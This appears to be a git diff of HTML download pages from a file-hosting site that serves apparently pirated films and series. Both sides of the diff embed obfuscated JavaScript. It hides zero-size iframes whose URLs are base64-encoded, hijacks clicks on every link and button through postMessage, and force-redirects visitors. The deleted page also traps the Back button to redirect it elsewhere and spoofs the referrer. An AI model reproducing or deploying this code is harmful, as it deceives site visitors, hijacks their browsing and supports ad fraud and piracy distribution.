s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
</script> </script>
@ -333,7 +312,6 @@ download.onclick = function() {
<br><br> <br><br>
</div> </div>
<div class="footer"> <div class="footer">
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p> <p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>

View file

@ -2,7 +2,8 @@
<head> <head>
<title>Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv</title> <title>Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv</title>
<meta charset="utf-8"> <meta charset="utf-8">
<meta name="referrer" content="no-referrer"/> <script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
<meta name="referrer" content="no-referrer">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
@ -17,14 +18,7 @@
<meta name="googlebot" content="noindex,nofollow"> <meta name="googlebot" content="noindex,nofollow">
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script> <script data-cfasync="false" src="//d2hdyssxn6lpj2.cloudfront.net/?sydhd=1173967"></script>
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
<!--<script type="text/javascript">-->
<!-- aclib.runPop({-->
<!-- zoneId: '10550070',-->
<!-- });-->
<!--</script>-->
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics --> <!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
@ -148,17 +142,12 @@
color: #000 color: #000
} }
</style> </style>
<body> <body><center>
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
<div class="ads-core-ads-100892"></div>
<div class="ads-core-ads-101001"></div>
<center>
<br/> <br/>
<div class="header"> <div class="header">
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a> HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.one/drive/admin">Login</a>
</div> </div>
<br> <br>
<div class="container container-fluid main"> <div class="container container-fluid main">
@ -228,7 +217,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSSFJidWE2bjFma1JRSWNEZmVXcys4VT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a> <a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSUHJiRlcvSTBwOG9HNWFOa2tiMWVxMD0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
<center> <center>
@ -280,35 +269,25 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
</div> </div>
<div class="card"> <div class="card">
<div class="card-body" id="div1"> <div class="card-body" id="div1">
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/idt1evqfuviqiei</p> <p onclick="copy_link('div1')">https://hubcloud.one/drive/idt1evqfuviqiei</p>
</div> </div>
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button> <button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
<script> <script>
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240); // function d(e){document.cookie=e+"=; path=/; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}setTimeout(()=>{d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))},2000);
</script> // function clsd(){d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))}
<script>
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSSFJidWE2bjFma1JRSWNEZmVXcys4VT0=';
setTimeout(function(){ setTimeout(function(){
document.querySelector(".loading").classList.add("d-none"); document.querySelector(".loading").classList.add("d-none");
document.querySelector(".vd").classList.remove("d-none"); document.querySelector(".vd").classList.remove("d-none");
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
stck('xlax',"s4t",1440);
window.location.href = url;
}
}, 2000); }, 2000);
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=idt1evqfuviqiei&token=RUhXL2kvWnI3MmtFTTlyc1VGY2JSUHJiRlcvSTBwOG9HNWFOa2tiMWVxMD0=';
var download = document.getElementById('download'); var download = document.getElementById('download');
download.onclick = function() { download.onclick = function() {
if (this.classList.contains('disabled')) { if (this.classList.contains('disabled')) {
event.preventDefault(); event.preventDefault();
return; return;
} }
window.location.href = url; window.location.href = url;
download.classList.add('disabled'); download.classList.add('disabled');
setTimeout(function() { setTimeout(function() {
@ -316,9 +295,9 @@ download.onclick = function() {
}, 6000); }, 6000);
} }
</script> </script>
<script>
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}
</script>
<script> <script>
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1); // function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
</script> </script>
@ -333,7 +312,6 @@ download.onclick = function() {
<br><br> <br><br>
</div> </div>
<div class="footer"> <div class="footer">
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p> <p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>

View file

@ -2,7 +2,8 @@
<head> <head>
<title>Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv</title> <title>Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv</title>
<meta charset="utf-8"> <meta charset="utf-8">
<meta name="referrer" content="no-referrer"/> <script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
<meta name="referrer" content="no-referrer">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
@ -17,14 +18,7 @@
<meta name="googlebot" content="noindex,nofollow"> <meta name="googlebot" content="noindex,nofollow">
<script data-cfasync="false" src="//d33f51dyacx7bd.cloudfront.net/?aydfd=1015073"></script> <script data-cfasync="false" src="//d2hdyssxn6lpj2.cloudfront.net/?sydhd=1173967"></script>
<!--<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>-->
<!--<script type="text/javascript">-->
<!-- aclib.runPop({-->
<!-- zoneId: '10550070',-->
<!-- });-->
<!--</script>-->
<!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics --> <!-- Cloudflare Web Analytics --><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token": "4a22bad849ab4d2da600be878e3c0fc2"}'></script><!-- End Cloudflare Web Analytics -->
@ -148,17 +142,12 @@
color: #000 color: #000
} }
</style> </style>
<body> <body><center>
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100892" src="https://sads.adsboosters.xyz/e782f10ef81a2b65f5c2b85518948f4b.js"></script>
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader101001" src="https://sads.adsboosters.xyz/1c76fee9418816ee07f81c9d3386f754.js"></script>
<div class="ads-core-ads-100892"></div>
<div class="ads-core-ads-101001"></div>
<center>
<br/> <br/>
<div class="header"> <div class="header">
HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.foo/drive/admin">Login</a> HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="https://hubcloud.one/drive/admin">Login</a>
</div> </div>
<br> <br>
<div class="container container-fluid main"> <div class="container container-fluid main">
@ -228,7 +217,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
<a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzMGxsdGd3eERlOWs1Z1AydDFjRUp4cz0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a> <a id="download" href="https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzOEFuVnVvTHVEKzJ4eCtPUFBuUkRQRT0=" rel="noopener noreferrer nofollow" class="btn btn-primary h6 p-2"><i class="fas fa-file-download fa-lg"></i> Generate Direct Download Link</a>
<center> <center>
@ -239,6 +228,7 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTltdXlNZTd3OHJmcEtqSG1zYkN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5 p-2" id="tgbtn" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Download From Telegram</a>
</div> </div>
@ -280,35 +270,25 @@ HubCloud | <a href="https://hubcloud.fans/">Create An Account</a> |<a href="http
</div> </div>
<div class="card"> <div class="card">
<div class="card-body" id="div1"> <div class="card-body" id="div1">
<p onclick="copy_link('div1')">https://hubcloud.foo/drive/nknlofk8snfnknh</p> <p onclick="copy_link('div1')">https://hubcloud.one/drive/nknlofk8snfnknh</p>
</div> </div>
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button> <button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
<script> <script>
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}function stck(e,t,i){let o="";if(i){let e=new Date;e.setTime(e.getTime()+60*i*1e3),o="; expires="+e.toUTCString()}document.cookie=`${e}=${t||""}${o}; path=/; SameSite=None; Secure`}stck('xla',"s4t",30240); // function d(e){document.cookie=e+"=; path=/; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:01 GMT;"}setTimeout(()=>{d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))},2000);
</script> // function clsd(){d(atob('Y2xldmVyLWNvdW50ZXItODk4Nzg='))}
<script>
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzMGxsdGd3eERlOWs1Z1AydDFjRUp4cz0=';
setTimeout(function(){ setTimeout(function(){
document.querySelector(".loading").classList.add("d-none"); document.querySelector(".loading").classList.add("d-none");
document.querySelector(".vd").classList.remove("d-none"); document.querySelector(".vd").classList.remove("d-none");
if (!document.cookie.split(';').some(item => item.trim().startsWith('xlax='))) {
stck('xlax',"s4t",1440);
window.location.href = url;
}
}, 2000); }, 2000);
var url = 'https://gamerxyt.com/hubcloud.php?host=hubcloud&id=nknlofk8snfnknh&token=eWJLS25YL0hUektLS0k0a3htWVJzOEFuVnVvTHVEKzJ4eCtPUFBuUkRQRT0=';
var download = document.getElementById('download'); var download = document.getElementById('download');
download.onclick = function() { download.onclick = function() {
if (this.classList.contains('disabled')) { if (this.classList.contains('disabled')) {
event.preventDefault(); event.preventDefault();
return; return;
} }
window.location.href = url; window.location.href = url;
download.classList.add('disabled'); download.classList.add('disabled');
setTimeout(function() { setTimeout(function() {
@ -316,9 +296,9 @@ download.onclick = function() {
}, 6000); }, 6000);
} }
</script> </script>
<script>
function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof e == 'undefined'){e=document.getElementById(el).innerText}a=document.createElement("textarea");a.innerHTML=e,document.body.appendChild(a),a.select();document.execCommand("copy");document.body.removeChild(a),swal("Link Copied! : "+e)}
</script>
<script> <script>
// function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1); // function sT(e){let t=hashKey(e),r=Date.now();localStorage.setItem(t,r.toString())}function hashKey(e){let t=0;for(let r=0;r<e.length;r++)t=(t<<5)-t+e.charCodeAt(r);t=Math.abs(t);let n="";for(let o=0;o<6;o++)n+="abcdefghijklmnopqrstuvwxyz"[t%26],t=Math.floor(t/26);return n}function is_v(e,t){let r=hashKey(e),n=localStorage.getItem(r);return!!n&&(Date.now()-parseInt(n))/6e4<=t}var s__=!1,observer=null,sc_="a, button",d_=!1;function clsd(){s__=!1,d_=!0,sT("dfdf")}var E_=["aHR0cHM6Ly9wYWlzYXZ5YXBhcmkuY29tL2J1c2luZXNzLw==","aHR0cHM6Ly92aXNoZXNodG9kYXkuY29tL3RlY2hub2xvZ3kv"];function isD(){return!/Mobi|Android/i.test(navigator.userAgent)}let t_=[];for(let e_=0;e_<4 && (true || !d_ && !isD());e_++){let e=E_[Math.floor(Math.random()*E_.length)];if(!t_.includes(e)){var t,r=document.createElement("iframe");if(sT(e),t_.push(e),r.src=atob(e),r.width="0",r.height="0",r.style.display="none",r.referrerPolicy="no-referrer",document.querySelector("body")){console.log("inserted"),document.body.appendChild(r);break}}}function opst(e){if(d_){console.log("closed d_");return}if(!s__){console.log("no s__");return}e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r;s__=!1,document.querySelectorAll(sc_).forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){document.querySelectorAll(sc_).forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);console.log(t),t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){console.log("Error: ",r)}},!1);
</script> </script>
@ -333,7 +313,6 @@ download.onclick = function() {
<br><br> <br><br>
</div> </div>
<div class="footer"> <div class="footer">
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p> <p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>

View file

@ -1,373 +0,0 @@
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
<script type="text/javascript">
aclib.runPop({
zoneId: '10553222',
});
</script>
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
<script>
document.addEventListener("DOMContentLoaded", function() {
history.pushState(null, null, location.href);
window.onpopstate = function () {
history.go(1);
window.location.href = 'https://push-me-once.com/go/1272663';
};
});Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
</script>
<html>
<head>
<title>Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv</title>
<meta charset="utf-8">
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
<meta name="referrer" content="no-referrer">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
<meta name=viewport content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex,nofollow">
</head>
<style>
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
.btn-success1 {
color: #fff;
background-color: #28a745;
border-color: #28a745;
display: inline-block;
text-align: center;
font-size: 1rem;
letter-spacing: .4px;
font-family: 'Open Sans',sans-serif!important;
font-weight: 600;
text-decoration:none !important;
vertical-align: middle;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
border: 1px solid transparent;
padding: .375rem .75rem;
line-height: 1.5;
